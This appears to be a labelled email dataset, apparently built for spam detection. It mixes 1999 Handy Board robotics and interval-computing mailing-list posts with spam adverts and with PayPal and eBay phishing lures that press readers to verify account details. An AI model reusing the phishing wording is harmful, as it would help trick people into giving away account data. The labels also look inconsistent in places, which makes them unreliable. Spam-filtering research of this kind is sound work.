huip@hkstar.com ",0,1 """R. Baker Kearfott"" ",reliable_computing@interval.usl.edu,"Fri, 07 May 1999 19:13:39 -0500",test posting -- please disregard,"This is a test posting. Please delete it. rbk --------------------------------------------------------------- R. Baker Kearfott, rbk@usl.edu (318) 482-5346 (fax) (318) 482-5270 (work) (318) 981-9744 (home) URL: http://interval.usl.edu/kearfott.html Department of Mathematics, University of Southwestern Louisiana USL Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 Paypal Notice ,,"Sat, 08 May 1999 14:29:01 +0800",Personal Data Verification Process,"PayPal Security Tips Your Personal Data includes information that can identify you as a specific individual, such as your name, address, phone number, credit card number or e-mail address are stored in your account. Is strongly recommend that you log into your account and verify your Personal Data. We apologize for any inconvenience this may cause. To verify your account and some or all of the information that PayPal use in your account, please visit the Resolution Center https://www.paypal.com/ . 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Box 1881 Milwaukee, WI 53201-1881 USA georgec@mscs.mu.edu; CorlissG@Marquette.edu http://www.mscs.mu.edu/~georgec/ Office: 414-288-6599; Dept: 288-7375; Fax: 288-5472",0,1 Scott Moore ,handyboard@media.mit.edu,"Sat, 08 May 1999 05:21:39 -0700",RJ11 on the interface board," Hello What is the difference between having a side entry RJ11 or a top entry on the interface board. Are the pins in the same order. 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Thanks in Advance Daniel R --------------------------------------------------------------------- "" `BETTER´ IS THE ENEMY OF `GOOD ENOUGH´"" --------------------------------------------------------------------- ",0,0 Zenon Kulpa ,reliable_computing@interval.usl.edu,"Sat, 08 May 1999 19:11:27 +0200",Re: to compare two intervals,"> Cc: ""George F. Corliss"" > > > i have 2 intervals X = [a, b] and Y = [c, d] > > what X < Y and X > Y mean ? > > i think specially when Y is a degenerate interval with c = d > > thanks to answer > > This query and its responses are part of an embrionic > Interval FAQ site : http://www.mscs.mu.edu/~georgec/IFAQ/ > > I have gathered a few recent queries and responses from > this listserv. Additional contributions are welcome and may > be sent to me at georgec@mscs.mu.edu > Over time, I hope this grows into a useful resource. > I have seen it and I think it is a very good idea. Hope it will grow with interesting material. Thank you, -- Zenon Kulpa",0,1 Eat Bugs! ,Handyboard list ,"Sat, 08 May 1999 12:31:16 -0400",Motor driver source,"Does anybody have a source for the L293D motor driver IC from SGS-Thompson? I'm building a 6811F1 and a 6816 based robot, and I can't find a source for the driver. The Handyboard parts list just says that SGS-Thompson is the manufacturer. Thanks. -- ________________________________________ Jonathan Pennington -Anthropologist/Geologist -Linux User and Advocate -Bug Eater on an '83 V45 Magna ""Dark Side"" and a '71 Triumph Bonnie ""Pieces"" Email at jwp(at)awod.com ""Where are we going? And why are we in this handbasket? ",0,0 eBay ,reliable_computing@interval.usl.edu,"Sat, 08 May 1999 12:12:53 -0400",Unpaid Item Strike Received : #6787143731,"eBay Unpaid Item Strike Received: #6787143731eBay Unpaid Item Strike Received: #6787143731You have received an Unpaid Item strike You were the winning buyer on eBay item #6787143731 .The seller, has informed eBay that payment for the item has still not been received, or that the two of you were not able to come to agreement. As a result, you have received an Unpaid Item strike. Remember, Unpaid Item strikes may result in your suspension from eBay. You can appeal this Unpaid Item strike if you believe it is not deserved. First, read the requirements for appealing the strike. If you meet them, you can submit your appeal on that page. If your appeal is successful the strike will be removed. If you have recently paid for the item number listed below or do you feel it to be a mistake, you must Remove the Unpaid Item Strike Now. Regards, The eBay Team",1,1 Nick Taylor ,handyboard@media.mit.edu,"Sat, 08 May 1999 13:03:46 -0700",Re: Motor driver source,"""Eat Bugs!"" wrote: > Does anybody have a source for the L293D motor driver IC from > SGS-Thompson? I'm building a 6811F1 and a 6816 based robot, and I can't > find a source for the driver. The Handyboard parts list just says that > SGS-Thompson is the manufacturer. Thanks. Dear Mr. Bugs: The SN754410 by T.I. is a direct replacement for the L293D and it handles more current. It is the chip that Gleason Research installs on its HandyBoards. Acroname stocks the part: http://www.acroname.com/robotics/parts/parts.html Have fun, - - - Nick - - -",0,1 Kam Leang ,Eat Bugs! ,"Sat, 08 May 1999 16:57:53 -0600",Re: Motor driver source,"Hi Jon, Try http://www.hosfelt.com (800-524-6464) I'm looking at their printed catalog now and the part number is L293D. They sell for $2.95/each and there's no minimum order!! I've bought about 50 of them two months ago and they work great! Good luck, kam http://www.mech.utah.edu/~kleang On Sat, 8 May 1999, Eat Bugs! wrote: -->Does anybody have a source for the L293D motor driver IC from -->SGS-Thompson? I'm building a 6811F1 and a 6816 based robot, and I can't -->find a source for the driver. The Handyboard parts list just says that -->SGS-Thompson is the manufacturer. Thanks. -->-- -->________________________________________ -->Jonathan Pennington -->-Anthropologist/Geologist -->-Linux User and Advocate -->-Bug Eater on an '83 V45 Magna ""Dark Side"" --> and a '71 Triumph Bonnie ""Pieces"" -->Email at jwp(at)awod.com --> -->""Where are we going? --> And why are we in this handbasket? --> ==================================================== Kam Leang University of Utah Department of Mechanical Engineering MEB Room 2202 Salt Lake City, Utah 84112 http://www.mech.utah.edu/~kleang http://www.robotikit.com ==================================================== ",0,1 """Alexander G. Yakovlev"" ",reliable_computing@interval.usl.edu,"Sun, 09 May 1999 04:01:56 +0400",Re: to compare two intervals,"May 7, 1999 Dear Dr. Faudot, At Tue, 07 May 1996 15:49:35 +0200, you wrote: >i have 2 intervals X = [a, b] and Y = [c, d] >what X < Y and X > Y mean ? >i think specially when Y is a degenerate interval with c = d All cases of two intervals comparing were investigated in my paper: Yakovlev A.G. Classification approach to programming of localizational (interval) computations. Interval computations, 1992, N 1(3), pp. 61-84. If don't have this issue, I can send you its TeX version. Best wishes, Alexander Yakovlev",0,0 """Alexander G. Yakovlev"" ",reliable_computing@interval.usl.edu,"Sun, 09 May 1999 04:03:08 +0400",The journal RELIABLE COMPUTING. Current information," May 7, 1999 Dear Sirs, I would like to remind you about terms and prices for purchasing issues of the international journal RELIABLE COMPUTING (before 1995 named INTERVAL COMPUTATIONS). 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Cheers, Duncan ",0,0 orthner@idirect.com,handyboard@media.mit.edu,"Sun, 09 May 1999 18:26:45 -0400",Re: charger,"At 02:48 PM 5/9/99 -0500, (the other) FRED MARTIN wrote: >I have an old 'wall wart' lying around. It has a rating of (12 vdc 1 amp >output). >i was wondering if i can use it on the handy board. the specs i read about >the handy board call for a 12v 500mAmp output. In short, No. The charging cicuitry on the HB (especially the zap mode) is designed for a 500ma supply. People have had problems with 1 amp ones. Best, Duncan ",0,0 """Joe Marie J. Maja"" ","HandyBoard , ""Fred G. Martin"" ","Mon, 10 May 1999 08:06:36 +0900",SHARP new product,"Hello everyone, Sharp recently release the new GP2D12 (General Purpose Distance Measuring Sensors). Which performs same as the GP2D02. The new product have only 3 pins - Vo, Gnd, and 5V. Vo is an analog output, which means you can use it on any available analog ports of Handyboard. You can connect it directly to PE0 - PE7. With this, you can use the analog(int ) command to get the distance. Much simpler than using the GP2D02. And another thing, the supply is 5V. You can find the data sheet in this site: http://www.sharp.co.jp/ecg/NewProducts/NewProducts.html#gp joema ",0,1 Eat Bugs! ,Handyboard list ,"Sun, 09 May 1999 21:29:22 -0400",Re: charger,"FRED MARTIN wrote: > > I have an old 'wall wart' lying around. It has a rating of (12 vdc 1 amp > output). > i was wondering if i can use it on the handy board. the specs i read about > the handy board call for a 12v 500mAmp output. any response would be > appreciated. I'm relying on non-handyboard experience here, but I'm going to assume that's too much. One amp is a heavy load, and although there's a 5v regulator on the circuit, I'd guess that it's not rated for 1 amp (it may just run hot) and might not be able to knock it down enough for the logic circuits (mostly 50mAmp). On the brighter side, it would probably be fairly simple to make a very small circuit that could be taped to the transformer to knock down the current. You could basically displace it as heat. Search some of the larger circuit databases for a power supply circuit, or make it up from the resistance law. -- ________________________________________ Jonathan Pennington -Anthropologist/Geologist -Linux User and Advocate -Bug Eater on an '83 V45 Magna ""Dark Side"" and a '71 Triumph Bonnie ""Pieces"" Email at jwp(at)awod.com ""Where are we going? And why are we in this handbasket? ",0,0 Jose Luis ,Handy Board Mailing List ,"Sun, 09 May 1999 23:35:41 -0300",Measuring motors current,"Hi, I'm using for my base 12 v geared motors ,without load, each one drives less than 100 mA, but when stalled, the current grow to 500 mA, wich is to close to the 600 mA of L293 chips, i do not need more current, but i want to protect the L293 from overloads, i have thinked in two solutions: 1- The simpler, put a 500 mA fuse between L293 and motor, but i dont know if the fuse will be enough fast to protect the chip from a current peak. 2- what about to put a low value resistor, for example 1 ohm, in a series connection with the motor and then use an analog input to measure the voltage over the resistor, with a 100 mA (0.1 Volt over resistor) you will read, if i'm not wrong, 250 in the analog(), and if the current up to 500mA (0.5 Volt), you will read 230, with this data you can stop that motor to protect the circuit. What do you think? José Luis PD: Sorry for my english ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Sun, 09 May 1999 20:19:21 -0700",Re: charger,"Hi all: The problem with using a wall wart that is NOT 12 V @ 500 mA is this: most wall warts are _not_ regulated, and they have a fairly high internal impedance. If there is no load on a ""12 V"" unit, the output voltage will likely be at least 18 V, possibly 22 or 23 V. The unit relies upon a load of .5 A to drop the output voltage down to the rated 12 V. If you use a unit rated for 12 V @ 1 A, then the light load of your HandyBoard will not drop the voltage sufficiently and you may experience difficulties. Wall warts are very inexpensive ... don't jeopardize your valuable HandyBoard to save $5! - - - Nick - - - ",0,0 Luella Vargas ,play99@media.mit.edu,"Sun, 09 May 1999 23:52:38 -0600",RERE:WE approved yours loan 3wbd,"Dear Homeowner, http://getloanz.net You have been approved for a $ 574,689 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. 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It has a rating of (12 vdc 1 amp >> output). >> i was wondering if i can use it on the handy board. the specs i read about >> the handy board call for a 12v 500mAmp output. any response would be >> appreciated. ",0,0 Lila Babcock ,play99@media.mit.edu,"Mon, 10 May 1999 22:42:37 -0400",fuccking russian jolly Teens,"! MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit goluptious Womans at hardcoree fuucking! http://supergamebox.info/fpif.htm?iSPhfd.fX,hj U-N-$-U-B-$-C--R-I-B-E http://supergamebox.info ",1,1 shsc9801@condor.stcloudstate.edu,"""Joe Marie J. Maja"" ","Mon, 10 May 1999 07:58:29 -0500",Re: SHARP new product,"I was looking at that this weekend. I am presently using 4 gp2d02's and am about to order 2 more. the distance on these gp2d12's is no different and I think one might have more control over the gp2d02 since you control the digital output to it (correct me if I am wrong). Of course, if you do not have that digital output available, then the gp2d12 might be better. Scott >Hello everyone, > >Sharp recently release the new GP2D12 (General Purpose Distance >Measuring Sensors). Which performs same as the GP2D02. > >The new product have only 3 pins - Vo, Gnd, and 5V. Vo is an analog >output, which means you can use it on any available analog ports of >Handyboard. You can connect it directly to PE0 - PE7. > >With this, you can use the analog(int ) command to get the distance. >Much simpler than using the GP2D02. And another thing, the supply is >5V. > >You can find the data sheet in this site: > >http://www.sharp.co.jp/ecg/NewProducts/NewProducts.html#gp > > >joema Scott Sherman IT Spec. II St. Cloud State University 720 4th Avenue South Academic Computer Services ECC Building, Room 101 (320) 255-4888 ",0,1 shsc9801@condor.stcloudstate.edu,handyboard@media.mit.edu,"Mon, 10 May 1999 08:03:01 -0500",Sharp 2L01,"Hello, I am considering what circutry to use for shaft encoders and one of them was the Sharp 2L01 because of its casing (mounting position mainly). However, I am having trouble trying to find it or anything close to it for that matter. Does anyone have any ideas? I don't feel the gp2d02 would be right for a shaft encoder because of cost and purpose. Thanks in advance. Scott Scott Sherman IT Spec. II St. Cloud State University 720 4th Avenue South Academic Computer Services ECC Building, Room 101 (320) 255-4888 ",0,0 """Weng, Andrew"" ","""'shsc9801@condor.stcloudstate.edu'"" , ""Joe Marie J. Maja"" ","Mon, 10 May 1999 09:24:22 -0400",RE: SHARP new product,"It seems the advantage is you don't have to worry about the control line, the gp2d12 does it all, alleviating the need for the interrupt routines... -Drew -----Original Message----- From: shsc9801@condor.stcloudstate.edu [mailto:shsc9801@condor.stcloudstate.edu] Sent: Monday, May 10, 1999 8:58 AM To: Joe Marie J. Maja Cc: handyboard@media.mit.edu Subject: Re: SHARP new product I was looking at that this weekend. I am presently using 4 gp2d02's and am about to order 2 more. the distance on these gp2d12's is no different and I think one might have more control over the gp2d02 since you control the digital output to it (correct me if I am wrong). Of course, if you do not have that digital output available, then the gp2d12 might be better. Scott >Hello everyone, > >Sharp recently release the new GP2D12 (General Purpose Distance >Measuring Sensors). Which performs same as the GP2D02. > >The new product have only 3 pins - Vo, Gnd, and 5V. Vo is an analog >output, which means you can use it on any available analog ports of >Handyboard. You can connect it directly to PE0 - PE7. > >With this, you can use the analog(int ) command to get the distance. >Much simpler than using the GP2D02. And another thing, the supply is >5V. > >You can find the data sheet in this site: > >http://www.sharp.co.jp/ecg/NewProducts/NewProducts.html#gp > > >joema Scott Sherman IT Spec. II St. Cloud State University 720 4th Avenue South Academic Computer Services ECC Building, Room 101 (320) 255-4888 ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Mon, 10 May 1999 06:52:28 -0700",Re: Sharp 2L01,"Scott Sherman wrote: > I am considering what circutry to use for shaft encoders and one of them > was the Sharp 2L01 because of its casing (mounting position mainly). > However, I am having trouble trying to find it or anything close to it for > that matter. Does anyone have any ideas? I don't feel the gp2d02 would be > right for a shaft encoder because of cost and purpose. Thanks in advance. Scott: The Hamamatsu P5587 photoreflector is great for use as a shaft encoder. It's available from Zagros Robotics at: http://www.zagrosrobotics.com/ - - - Nick - - -",0,1 Michelle Shook ,play99@media.mit.edu,"Mon, 10 May 1999 09:55:44 -0400",Kids visiting,"Hi everyone, I have been working with a first/second grade class for the past half year or so and they are coming for a visit to the Media Lab this Thursday morning from 10-1pm. If anyone has any toy demos they would like to show the kids during this time, please let me know. They are a great source of brutally honest feedback and tend to say ""cool"" a lot in unison when they see something they like. Thanks! -michelle ",0,0 sakar@servidor.unam.mx,handyboard@media.mit.edu,"Tue, 11 May 1999 09:53:26 -0600",DS1233,"Does anybody know the motorola susbtitute for the (Dallas Semiconductor) DS1233-10, because in Mexico the DS1233-10 does not exists. And I can´t find it on the electronics books. Thanks for the help Daniel --------------------------------------------------------------------- "" `BETTER´ IS THE ENEMY OF `GOOD ENOUGH´"" --------------------------------------------------------------------- ",0,0 Bob_Kelly/First_Union@firstunion-reit.com,handyboard@media.mit.edu,"Mon, 10 May 1999 12:22:14 -0400",Battery question," Hello all, I currently have a 12v 2amp camcorder gel-cell as a motor power source for some 12-24v gearhead motors purchased from Acroname. I am using stacked L239's and TI motor driver chips to interface. All is working, except that the motors only seem to provide useful power when motor(x,100). The motors run when set to a lower power setting, but don't pull the weight of the 'bot well at all. At full power, the 'bot is fine and can run up inclines with no problem. I want to add another battery to the existing gel-cell in order to increase the voltage to, say 19.2v. I have a spare radio control 7.2v battery pack handy. Of course, it is of the Ni-cad variety. Do I need to connect the batteries lines + to + (parallel) or + to - (series)? Will the two different batteries co-exist well or will this create problems? Will one battery drain into the other? Will one battery's capacity be drained first (due to the battery mis-match, not their rated capacity)? I realize I may have to modify the motor driver circuitry somewhat (I just got a couple of LMD18200's for this purpose). Thank you all, Bob Kelly ",0,0 shsc9801@condor.stcloudstate.edu,handyboard@media.mit.edu,"Mon, 10 May 1999 13:20:22 -0500",transmitting via airwaves,"Hello, Has anyone tried transmitting such things as a camera (like they have in Jameco) from the handyboard to a computer or tv? The only problem I forsee is powering the transmitter. Anybody have any ideas? Scott Scott Sherman IT Spec. II St. Cloud State University 720 4th Avenue South Academic Computer Services ECC Building, Room 101 (320) 255-4888 ",0,0 Bill Denzel ,"""Handyboard@Media. Mit. Edu"" ","Mon, 10 May 1999 11:35:14 -0700",RE: SHARP new product," Does anyone know where these can be found? I would really like to try some of these out on a new project that I am working on. Thanks for any help! Bill Denzel -----Original Message----- From: maja@robotics.is.tohoku.ac.jp [mailto:maja@robotics.is.tohoku.ac.jp] Sent: Sunday, May 09, 1999 4:07 PM To: HandyBoard; Fred G. Martin Subject: SHARP new product Hello everyone, Sharp recently release the new GP2D12 (General Purpose Distance Measuring Sensors). Which performs same as the GP2D02. The new product have only 3 pins - Vo, Gnd, and 5V. Vo is an analog output, which means you can use it on any available analog ports of Handyboard. You can connect it directly to PE0 - PE7. With this, you can use the analog(int ) command to get the distance. Much simpler than using the GP2D02. And another thing, the supply is 5V. You can find the data sheet in this site: http://www.sharp.co.jp/ecg/NewProducts/NewProducts.html#gp joema ",0,1 FRED MARTIN ,handyboard@media.mit.edu,"Mon, 10 May 1999 13:48:41 -0500",Battery question," If you connect the batteries in parallel you will increase the current which is something i'm not sure you want to do. if you connect them in series it will increase the voltage which is what i believe you would like to do. the problem comes because most lead-acid and gel-cell batties can be recharged using 200 to 800mA battery chargers. standard Ni-Cad batteries cannot withstand recharge rates exceeding 50 to 100mA, and using a charger that supplies too much current will destroy the the cells. or on the flip side if you a charger that does not supply enough current you will not get the desired charge out of the gel-cell batteries. Ni-Cad batteries also discharge at faster rates than others so this will be a problem as well. good luck FRED Hello all, I currently have a 12v 2amp camcorder gel-cell as a motor power source for some 12-24v gearhead motors purchased from Acroname. I am using stacked L239's and TI motor driver chips to interface. All is working, except that the motors only seem to provide useful power when motor(x,100). The motors run when set to a lower power setting, but don't pull the weight of the 'bot well at all. At full power, the 'bot is fine and can run up inclines with no problem. I want to add another battery to the existing gel-cell in order to increase the voltage to, say 19.2v. I have a spare radio control 7.2v battery pack handy. Of course, it is of the Ni-cad variety. Do I need to connect the batteries lines + to + (parallel) or + to - (series)? Will the two different batteries co-exist well or will this create problems? Will one battery drain into the other? Will one battery's capacity be drained first (due to the battery mis-match, not their rated capacity)? I realize I may have to modify the motor driver circuitry somewhat (I just got a couple of LMD18200's for this purpose). Thank you all, Bob Kelly ",0,0 """Weng, Andrew"" ","'Bill Denzel' , ""Handyboard@Media. Mit. Edu"" ","Mon, 10 May 1999 10:22:01 -0400",RE: SHARP new product,"Steve Richards of Acroname says he will be carrying both the GP02D12 and GP02D15 within the next few weeks... -Drew -----Original Message----- From: Bill Denzel [mailto:wdenzel@polymail.cpunix.calpoly.edu] Sent: Monday, May 10, 1999 2:35 PM To: Handyboard@Media. Mit. Edu Subject: RE: SHARP new product Does anyone know where these can be found? I would really like to try some of these out on a new project that I am working on. Thanks for any help! Bill Denzel -----Original Message----- From: maja@robotics.is.tohoku.ac.jp [mailto:maja@robotics.is.tohoku.ac.jp] Sent: Sunday, May 09, 1999 4:07 PM To: HandyBoard; Fred G. Martin Subject: SHARP new product Hello everyone, Sharp recently release the new GP2D12 (General Purpose Distance Measuring Sensors). Which performs same as the GP2D02. The new product have only 3 pins - Vo, Gnd, and 5V. Vo is an analog output, which means you can use it on any available analog ports of Handyboard. You can connect it directly to PE0 - PE7. With this, you can use the analog(int ) command to get the distance. Much simpler than using the GP2D02. And another thing, the supply is 5V. You can find the data sheet in this site: http://www.sharp.co.jp/ecg/NewProducts/NewProducts.html#gp joema",0,1 Richard Drushel ,handyboard@media.mit.edu,"Mon, 10 May 1999 16:16:48 -0400",Re: transmitting via airwaves,"[shsc9801@condor.stcloudstate.edu] spake unto the ether: > Has anyone tried transmitting such things as a camera (like they have in > Jameco) from the handyboard to a computer or tv? The only problem I forsee > is powering the transmitter. Anybody have any ideas? We have done this the last 2 semesters with our Autonomous Robotics course here at CWRU (http://eecs.cwru.edu/courses/lego375/). I bought a $125 color CCD camera from DigiKey and a $23 VHF transmitter kit from JDR Microdevices. We're still using 6.270 boards here, a 6V system, so for our Cambot, I just added 3 more cells to get 12V and built a special wiring harness with a tap at 6V. This is heavy...so I'm considering a DC-DC converter. The transmitter board draws 125 mA, the camera 100 mA. My antenna has some funky aluminum foil shielding to get rid of noise from the servo motor which is panning the camera, but otherwise the picture is great. We taped the broadcast; I should make some QT movies. *Rich* -- Richard F. Drushel, Ph.D. | ""Aplysia californica"" is your taxonomic Department of Biology, Slug Division | nomenclature. / A slug, by any other Case Western Reserve University | name, is still a slug by nature. Cleveland, Ohio 44106-7080 U.S.A. | -- apologies to Data, ""Ode to Spot"" ",0,1 Daryl Story ,"play99@media.mit.edu, megan@media.mit.edu, peggy@media.mit.edu, ana@media.mit.edu, sabrina@media.mit.edu","Mon, 10 May 1999 21:40:44 +0300",Increase your energy levels ,"Summer is coming, did you look in the mirror lately? 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But be sure to cut off the 47K resistor connection, coz there are some problems with this. And I think the price of gp2d12 is cheaper here in my place - 800 yen ($7.00+). Ciao, joema ",0,0 """Joe Marie J. Maja"" ",shsc9801@condor.stcloudstate.edu,"Tue, 11 May 1999 07:26:59 +0900",Re: transmitting via airwaves,"shsc9801@condor.stcloudstate.edu wrote: > Hello, > > Has anyone tried transmitting such things as a camera (like they have in > Jameco) from the handyboard to a computer or tv? The only problem I forsee > is powering the transmitter. Anybody have any ideas? > Scott, I did a RF communications between two boards before, and use the DVP module. The only problem is that I can only received data effectively at 300 baud. I want to do some video transmission, but I don't have the time to finished it - I am looking at another product for possible usage - http://www.radiometrix.co.uk/products/rpcsheet.htm I still haven't bought this product, but I think it is sufficient for video transmission. joema ",0,1 Andre Philippi ,handyboard@media.mit.edu,"Mon, 10 May 1999 17:02:56 -0700",Sensors & Parallel Port,"Hi, I'm not sure if I recently had a day dream about interfacing sonars directly with the parallel port, or I actuallydid see a web resource containing such info... Has anyone here seen such resource, or had the same day trip ? Best, Andre Philippi. BTW: I'd like to thank everybody (and mostly Fred Martin and Will Bain) that has spent kindly time answering my eletronic newbie questions... Your attention have been most helpfull... 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He had lost: lost his prey, and lost, too, the only thing he ",1,1 Mitchel Resnick ,play99,"Mon, 10 May 1999 22:18:19 -0400",class projects,"Hi everyone. Here is our planned schedule for the rest of the class: * Tomorrow (May 11), we will have ""final presentations"" in the class (last chance for discussion/feedback on the projects) * Next week (May 18), we will use our class time as a wrap-up, reflection session -- discussing common themes, threads, observations from the class. * We will view the TOT Open House(on May 26) as the opportunity for ""public exhibition"" of toys developed in the class. * Each group is expected to produce a Web page about their project, due by the end of this week (in time for us to give grads for the course). For more information on what is expected in the Web site, see the message below (which we sent earlier in the semester). If you have any questions, ask one of us... >Date: Wed, 31 Mar 1999 13:37:09 -0500 >To: play99@aleve.media.mit.edu >From: Mitchel Resnick (by way of Mitchel Resnick ) >Subject: class projects > >Some of you have asked for more information on what is expected for your >projects. Here are a few of thoughts... > >Your project should be a compelling proof-of-concept. View it as a ""first >prototype"" -- developed far enough so that you can ""play"" with it and >demonstrate it to others. We expect that the act of playing with your >prototype will give you (and others) a better appreciation for strengths >and limitations of your concept. > >As you work on your project, you should be doing an ongoing analysis of >your toy concept. Some questions that you should be asking yourselves: > >* how does your toy compare with other existing toys? > >* what are the core features that make your toy engaging? > >* what types of children (age, gender, cognitive style) would find your toy >most interesting? > >* are there multiple ways of interacting with the toy? > >* are there ways for children to use the toy in increasingly complex ways >over time? > >* what would children learn from their interactions with the toy? > >* would the toy help children become more creative? more expressive? in >what ways? > >* in what ways does the toy leverage new technologies (facilitating play >experiences or learning experiences that would have been impossible without >the technologies)? > >* what are the biggest limitations of your toy? > >Please note that we are most interested in the ideas underlying your toy -- >not the short-term feasibility or manufacturability. Feel free to work on >ideas that are commercially impractical in the short term, but demonstrate >exciting new play possibilities that will become practical in the future. > >At the end of the semester, you will be expected (as a group) to do a >presentation on your toy prototype, discussing your design process and >addressing the types of questions and issues listed above. You will also be >expected to create a Web page about your toy (providing the same type of >information as in your presentation). > >If you have questions about any of this, please raise your questions in >class, or feel free to talk to any of us. > >MTMK... > ------------------------------------- Mitchel Resnick Associate Professor MIT Media Laboratory mres@media.mit.edu 617-253-9783 617-253-6215 (fax)",0,0 """Brogan L. Straddled"" ",Bait ,"Mon, 10 May 1999 17:22:35 -0400",0ver 3OO $tyles of Replica //atches!,"REPLICA //ATCHES BAZAAR! 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Maja'"" , ""Weng, Andrew"" , shsc9801@condor.stcloudstate.edu","Tue, 11 May 1999 05:52:08 -0400",RE: SHARP new product,"I believe the expansion board ""lego"" connectors do no have the pull-up resistors, so you should be able to connnect the GP'12 directly to these ports without modifying the HB... PS. $7 is about 3x cheaper than what they are here... -Drew > > But be sure to cut off the 47K resistor connection, coz there are some > problems with this. > ",0,0 Jeff Loeliger ,sakar@servidor.unam.mx,"Tue, 11 May 1999 15:57:01 +0100",Re: DS1233,"Daniel, You can use the Motorola 34064, I used it in both of the Handyboards I build. ***WARNING*** the Motorola 34064 and the Dallas Semiconductor DS1233-10 have different pins out. They are both in 3 pin to-92 packages. I don't remember which two pins need to be swapped (check the two data sheets). I put a small peice of tubing over one of the pins so they did not touch each other. It was really hard to find this problem after I build the boards without swapping the pins :-). sakar@servidor.unam.mx wrote: > > Does anybody know the motorola susbtitute for the (Dallas Semiconductor) > DS1233-10, because in Mexico the DS1233-10 does not exists. And I can´t find > it on the electronics books. > > Thanks for the help > > Daniel > > --------------------------------------------------------------------- > "" `BETTER´ IS THE ENEMY OF `GOOD ENOUGH´"" > --------------------------------------------------------------------- -- Jeff __________________________________________________________________ \\ Jeff Loeliger Motorola SPS \\ \\ mailto:r12110@email.sps.mot.com Systems Engineering Department\\ \\ phone: +44-1355-35-5400 Powertrain Systems Division \\ \\ fax : +44-1355-35-6300 East Kilbride, Scotland \\ \\ Motorola Internal: http://ncsg-euroweb.sps.mot.com/~r12110 \\ \\_________________________________________________________________\\ ",0,1 """Chancellery M. Navigator"" ",Bait ,"Tue, 11 May 1999 03:59:06 -0400",//// A T CH E$!,"REPLICA //ATCHES BAZAAR! Chose your favorite /// a t c he $$$!!!!! http://skgaydyqfhxorsaqfaa8faas.iraqianjg.com gift b0xes available! louis vuitton @. lange audemars piguet bmw breguet breitling bvlgari cartier chopard chronoswiss corum franck muller longines maurice lacroix montblanc omega panerai patek philippe piaget tag heuer ulysse nardin vacheron constantin VIP Breguet girard perregaux //arranty!!! Manufacturers' defects are covered by 30 -days' warranty from the day you receive it. This does not include water damage, intentional damage, or general wear and tear (such as scratches, fading of the gold, etc.). Although certain watches are water-resistant to a certain degree, we suggest keeping them away from water whenever possible, and make sure the crown is always screwed in tight so moisture does not get in. ",1,1 Richard Connelly ,handyboard@media.mit.edu,"Tue, 11 May 1999 11:12:31 -0400",Unsubscribe,"Please unsubscribe me from the handy board mailing list. Rich Connelly ",0,0 Eduardo Gonzalez ,handyboard@media.mit.edu,"Tue, 11 May 1999 12:20:01 -0500","zxt614,rue250","Hi! im building the handy board interface with a friend. Both of us live in mexico city and we have not found some parts like the ztx614 transistor darlington arrangement, we would like to know which is the gain of each transistor in this arrangement to buil it. Do you know some substitute for the RUE250 poliswitch or some way to build one? Thanks a lot for your help. Atte.Eduardo Gonzalez Ramirez ",0,0 Schimpfy2@aol.com,handyboard@media.mit.edu,"Tue, 11 May 1999 16:50:19 -0400",Re: transmitting via airwaves,"> I did a RF communications between two boards before, and use the DVP module. > The only problem is that I can only received data effectively at 300 baud. > I > want to do some video transmission, but I don't have the time to finished it > - > I am looking at another product for possible usage - > > http://www.radiometrix.co.uk/products/rpcsheet.htm > > I still haven't bought this product, but I think it is sufficient for video > transmission. I love the RF products radiometrix has, but none of them are FCC compliant (execpt one, but it is relatively low featured). does anyone know of any companies which sell products like them which are FCC compliant? ",0,1 FRED MARTIN ,handyboard@media.mit.edu,"Tue, 11 May 1999 17:55:48 -0500",charger,"what i am doing is building a battery charger for back-up batteries to be used with the handyboard, so i don't have to wait for the batteries to charge. can i use the schematic that i found in the handy board technical reference manual except exclude the serial interface part of the circuit. using the pin that connects to the RJ12 jack (pin 4) as the positive terminal and connect the negative to ground (of the batteries). will this work? FRED ",0,0 orthner@idirect.com,handyboard@media.mit.edu,"Tue, 11 May 1999 20:53:54 -0400","Re: zxt614,rue250","At 12:20 PM 5/11/99 -0500, Eduardo Gonzalez wrote: >Hi! im building the handy board interface with a friend. Both of us live >in mexico city and we have not found some parts like the ztx614 >transistor darlington arrangement, we would like to know which is the >gain of each transistor in this arrangement to buil it. >Do you know some substitute for the RUE250 poliswitch or some way to >build one? A quick check reveals that a replacement part for the polyswitch fuse is 60R250 (Littelfuse) or the Bourns MF-RX250...I'm sure there are others. If you can't find one of these resettable fuses, you could likely use any 5amp fuse and just replace it if it blows. Don't know about the Zetex part... Best, Duncan ",0,0 William Ho ,handyboard@media.mit.edu,"Wed, 12 May 1999 09:03:54 +0800",Minissc 2,">Hi, my name is William Ho. I just got my new ssc2 few days back. I have >connected the ssc2 to HB as everybody does :- Sin (SSC) to digital port 9 >(HB), 9v (HB) power to 9V(SSC), 6V (Battery) to (SSC-servo supply), >configure SSC to 9600 baud rate (port B of SSC), load pa7i9600.icb (from HB >serial.html; Inverted TTL-level version), connect servo to servo port 0. > >Power on... Until now, I don't know what command shall I type to the c:>. >>From the SSC manual, it is ><225>. So, shall I type "" 255,0,30; "" or >servo(255,0,30); ? I tried all but doesn't work. > >Can anyone help me? > >Oh, I also loaded servo.icb and servo.c. Is these necessary or it needs >add. asm files? >",0,0 Alex Novaes ,handyboard@media.mit.edu,"Tue, 11 May 1999 22:23:05 -0700",Unsubscribe,"Please unsubscribe me from the handy board mailing list. Alex Novaes ",0,0 sakar@servidor.unam.mx,handyboard@media.mit.edu,"Wed, 12 May 1999 22:32:05 -0600",MC34064,"Can anybody tell me the pins config in the MC34064, because I am using the MC34064 as a susbtitute of the DS1233. Thanks Daniel --------------------------------------------------------------------- "" `BETTER´ IS THE ENEMY OF `GOOD ENOUGH´"" --------------------------------------------------------------------- ",0,0 Adam Oliver ,"William Ho , 'Handyboard Mailing List' ","Wed, 12 May 1999 14:37:40 +0800",Re: Minissc 2,"If you've loaded the pa7i9600 file, you need to use these lines: pa7i9600(255); pa7i9600(0); pa7i9600(127); which should move servo number 0 to position 127 (the centre position). Probably better if you use something like 255 or 0 to get it to move to the extremes. You need to use these lines pretty much one after the other (ie no other commands in between) for the controller to work. Hope this helps, Adam > >Hi, my name is William Ho. I just got my new ssc2 few days back. I have > >connected the ssc2 to HB as everybody does :- Sin 